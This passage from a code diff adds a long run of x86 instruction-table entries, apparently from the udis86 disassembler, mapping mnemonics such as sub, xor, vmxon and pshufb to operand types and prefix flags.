P_aso|P_oso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1387 */ { UD_Isqrtps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1388 */ { UD_Ivsqrtps, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1389 */ { UD_Isqrtpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1390 */ { UD_Ivsqrtpd, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1391 */ { UD_Isqrtsd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1392 */ { UD_Ivsqrtsd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1393 */ { UD_Isqrtss, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1394 */ { UD_Ivsqrtss, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1395 */ { UD_Istc, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1396 */ { UD_Istd, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1397 */ { UD_Istgi, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1398 */ { UD_Isti, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1399 */ { UD_Iskinit, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1400 */ { UD_Istmxcsr, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1401 */ { UD_Ivstmxcsr, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1402 */ { UD_Istosb, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_seg }, + /* 1403 */ { UD_Istosw, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_seg|P_oso|P_rexw }, + /* 1404 */ { UD_Istosd, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_seg|P_oso|P_rexw }, + /* 1405 */ { UD_Istosq, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_seg|P_oso|P_rexw }, + /* 1406 */ { UD_Istr, O_MwRv, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1407 */ { UD_Isub, O_Eb, O_Gb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1408 */ { UD_Isub, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1409 */ { UD_Isub, O_Gb, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1410 */ { UD_Isub, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1411 */ { UD_Isub, O_AL, O_Ib, O_NONE, O_NONE, P_none }, + /* 1412 */ { UD_Isub, O_rAX, O_sIz, O_NONE, O_NONE, P_oso|P_rexw }, + /* 1413 */ { UD_Isub, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1414 */ { UD_Isub, O_Ev, O_sIz, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1415 */ { UD_Isub, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_inv64 }, + /* 1416 */ { UD_Isub, O_Ev, O_sIb, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1417 */ { UD_Isubpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1418 */ { UD_Ivsubpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1419 */ { UD_Isubps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1420 */ { UD_Ivsubps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1421 */ { UD_Isubsd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1422 */ { UD_Ivsubsd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1423 */ { UD_Isubss, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1424 */ { UD_Ivsubss, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1425 */ { UD_Iswapgs, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1426 */ { UD_Isyscall, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1427 */ { UD_Isysenter, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1428 */ { UD_Isysenter, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1429 */ { UD_Isysexit, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1430 */ { UD_Isysexit, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1431 */ { UD_Isysret, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1432 */ { UD_Itest, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1433 */ { UD_Itest, O_Eb, O_Gb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1434 */ { UD_Itest, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1435 */ { UD_Itest, O_AL, O_Ib, O_NONE, O_NONE, P_none }, + /* 1436 */ { UD_Itest, O_rAX, O_sIz, O_NONE, O_NONE, P_oso|P_rexw }, + /* 1437 */ { UD_Itest, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1438 */ { UD_Itest, O_Ev, O_sIz, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1439 */ { UD_Itest, O_Ev, O_Iz, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1440 */ { UD_Iucomisd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1441 */ { UD_Ivucomisd, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1442 */ { UD_Iucomiss, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1443 */ { UD_Ivucomiss, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1444 */ { UD_Iud2, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1445 */ { UD_Iunpckhpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1446 */ { UD_Ivunpckhpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1447 */ { UD_Iunpckhps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1448 */ { UD_Ivunpckhps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1449 */ { UD_Iunpcklps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1450 */ { UD_Ivunpcklps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1451 */ { UD_Iunpcklpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1452 */ { UD_Ivunpcklpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1453 */ { UD_Iverr, O_Ew, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1454 */ { UD_Iverw, O_Ew, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1455 */ { UD_Ivmcall, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1456 */ { UD_Irdrand, O_R, O_NONE, O_NONE, O_NONE, P_oso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1457 */ { UD_Ivmclear, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1458 */ { UD_Ivmxon, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1459 */ { UD_Ivmptrld, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1460 */ { UD_Ivmptrst, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1461 */ { UD_Ivmlaunch, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1462 */ { UD_Ivmresume, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1463 */ { UD_Ivmxoff, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1464 */ { UD_Ivmread, O_Ey, O_Gy, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_def64 }, + /* 1465 */ { UD_Ivmwrite, O_Gy, O_Ey, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_def64 }, + /* 1466 */ { UD_Ivmrun, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1467 */ { UD_Ivmmcall, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1468 */ { UD_Ivmload, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1469 */ { UD_Ivmsave, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1470 */ { UD_Iwait, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1471 */ { UD_Iwbinvd, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1472 */ { UD_Iwrmsr, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1473 */ { UD_Ixadd, O_Eb, O_Gb, O_NONE, O_NONE, P_aso|P_oso|P_rexr|P_rexx|P_rexb }, + /* 1474 */ { UD_Ixadd, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1475 */ { UD_Ixchg, O_Eb, O_Gb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1476 */ { UD_Ixchg, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1477 */ { UD_Ixchg, O_R0v, O_rAX, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1478 */ { UD_Ixchg, O_R1v, O_rAX, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1479 */ { UD_Ixchg, O_R2v, O_rAX, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1480 */ { UD_Ixchg, O_R3v, O_rAX, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1481 */ { UD_Ixchg, O_R4v, O_rAX, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1482 */ { UD_Ixchg, O_R5v, O_rAX, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1483 */ { UD_Ixchg, O_R6v, O_rAX, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1484 */ { UD_Ixchg, O_R7v, O_rAX, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1485 */ { UD_Ixgetbv, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1486 */ { UD_Ixlatb, O_NONE, O_NONE, O_NONE, O_NONE, P_rexw|P_seg }, + /* 1487 */ { UD_Ixor, O_Eb, O_Gb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1488 */ { UD_Ixor, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1489 */ { UD_Ixor, O_Gb, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1490 */ { UD_Ixor, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1491 */ { UD_Ixor, O_AL, O_Ib, O_NONE, O_NONE, P_none }, + /* 1492 */ { UD_Ixor, O_rAX, O_sIz, O_NONE, O_NONE, P_oso|P_rexw }, + /* 1493 */ { UD_Ixor, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1494 */ { UD_Ixor, O_Ev, O_sIz, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1495 */ { UD_Ixor, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_inv64 }, + /* 1496 */ { UD_Ixor, O_Ev, O_sIb, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1497 */ { UD_Ixorpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1498 */ { UD_Ivxorpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1499 */ { UD_Ixorps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1500 */ { UD_Ivxorps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1501 */ { UD_Ixcryptecb, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1502 */ { UD_Ixcryptcbc, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1503 */ { UD_Ixcryptctr, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1504 */ { UD_Ixcryptcfb, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1505 */ { UD_Ixcryptofb, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1506 */ { UD_Ixrstor, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1507 */ { UD_Ixsave, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1508 */ { UD_Ixsetbv, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1509 */ { UD_Ixsha1, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1510 */ { UD_Ixsha256, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1511 */ { UD_Ixstore, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1512 */ { UD_Ipclmulqdq, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1513 */ { UD_Ivpclmulqdq, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1514 */ { UD_Igetsec, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1515 */ { UD_Imovdqa, O_W, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1516 */ { UD_Ivmovdqa, O_Wx, O_Vx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1517 */ { UD_Imovdqa, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1518 */ { UD_Ivmovdqa, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1519 */ { UD_Imaskmovdqu, O_V, O_U, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1520 */ { UD_Ivmaskmovdqu, O_Vx, O_Ux, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1521 */ { UD_Imovdq2q, O_P, O_U, O_NONE, O_NONE, P_aso|P_rexb }, + /* 1522 */ { UD_Imovdqu, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1523 */ { UD_Ivmovdqu, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1524 */ { UD_Imovdqu, O_W, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1525 */ { UD_Ivmovdqu, O_Wx, O_Vx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1526 */ { UD_Imovq2dq, O_V, O_N, O_NONE, O_NONE, P_aso|P_rexr }, + /* 1527 */ { UD_Ipaddq, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1528 */ { UD_Ipaddq, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1529 */ { UD_Ivpaddq, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1530 */ { UD_Ipsubq, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1531 */ { UD_Ivpsubq, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1532 */ { UD_Ipsubq, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1533 */ { UD_Ipmuludq, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1534 */ { UD_Ipmuludq, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1535 */ { UD_Ipshufhw, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1536 */ { UD_Ivpshufhw, O_Vx, O_Wx, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1537 */ { UD_Ipshuflw, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1538 */ { UD_Ivpshuflw, O_Vx, O_Wx, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1539 */ { UD_Ipshufd, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1540 */ { UD_Ivpshufd, O_Vx, O_Wx, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1541 */ { UD_Ipslldq, O_U, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 1542 */ { UD_Ivpslldq, O_Hx, O_Ux, O_Ib, O_NONE, P_rexb }, + /* 1543 */ { UD_Ipsrldq, O_U, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 1544 */ { UD_Ivpsrldq, O_Hx, O_Ux, O_Ib, O_NONE, P_rexb }, + /* 1545 */ { UD_Ipunpckhqdq, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1546 */ { UD_Ivpunpckhqdq, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1547 */ { UD_Ipunpcklqdq, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1548 */ { UD_Ivpunpcklqdq, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1549 */ { UD_Ihaddpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1550 */ { UD_Ivhaddpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1551 */ { UD_Ihaddps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1552 */ { UD_Ivhaddps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1553 */ { UD_Ihsubpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1554 */ { UD_Ivhsubpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1555 */ { UD_Ihsubps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1556 */ { UD_Ivhsubps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1557 */ { UD_Iinsertps, O_V, O_Md, O_Ib, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1558 */ { UD_Ivinsertps, O_Vx, O_Hx, O_Md, O_Ib, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1559 */ { UD_Ilddqu, O_V, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1560 */ { UD_Ivlddqu, O_Vx, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1561 */ { UD_Imovddup, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1562 */ { UD_Ivmovddup, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1563 */ { UD_Imovddup, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1564 */ { UD_Ivmovddup, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1565 */ { UD_Imovshdup, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1566 */ { UD_Ivmovshdup, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1567 */ { UD_Imovshdup, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1568 */ { UD_Ivmovshdup, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1569 */ { UD_Imovsldup, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1570 */ { UD_Ivmovsldup, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1571 */ { UD_Imovsldup, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1572 */ { UD_Ivmovsldup, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1573 */ { UD_Ipabsb, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1574 */ { UD_Ipabsb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1575 */ { UD_Ivpabsb, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1576 */ { UD_Ipabsw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1577 */ { UD_Ipabsw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1578 */ { UD_Ivpabsw, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1579 */ { UD_Ipabsd, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1580 */ { UD_Ipabsd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1581 */ { UD_Ivpabsd, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1582 */ { UD_Ipshufb, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1583 */ { UD_Ipshufb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1584 */ { UD_Ivpshufb, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1585 */ { UD_Iphaddw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1586 */ { UD_Iphaddw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1587 */ { UD_Ivphaddw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1588 */ { UD_Iphaddd, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1589 */ { UD_Iphaddd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1590 */ { UD_Ivphaddd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1591 */ { UD_Iphaddsw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1592 */ { UD_Iphaddsw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1593 */ { UD_Ivphaddsw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1594 */ { UD_Ipmaddubsw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1595 */ { UD_Ipmaddubsw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1596 */ { UD_Ivpmaddubsw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1597 */ { UD_Iphsubw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1598 */ { UD_Iphsubw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1599 */ { UD_Ivphsubw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1600 */ { UD_Iphsubd, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1601 */ { UD_Iphsubd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1602 */ { UD_Ivphsubd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1603 */ { UD_Iphsubsw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1604 */ { UD_Iphsubsw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1605 */ { UD_Ivphsubsw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1606 */ { UD_Ipsignb, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1607 */ { UD_Ipsignb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1608 */ { UD_Ivpsignb, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1609 */ { UD_Ipsignd, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1610 */ { UD_Ipsignd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1611 */ { UD_Ivpsignd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1612 */ { UD_Ipsignw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1613 */ { UD_Ipsignw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1614 */ { UD_Ivpsignw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1615 */ { UD_Ipmulhrsw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1616 */ { UD_Ipmulhrsw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1617 */ { UD_Ivpmulhrsw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1618 */ { UD_Ipalignr, O_P, O_Q, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1619 */ { UD_Ipalignr, 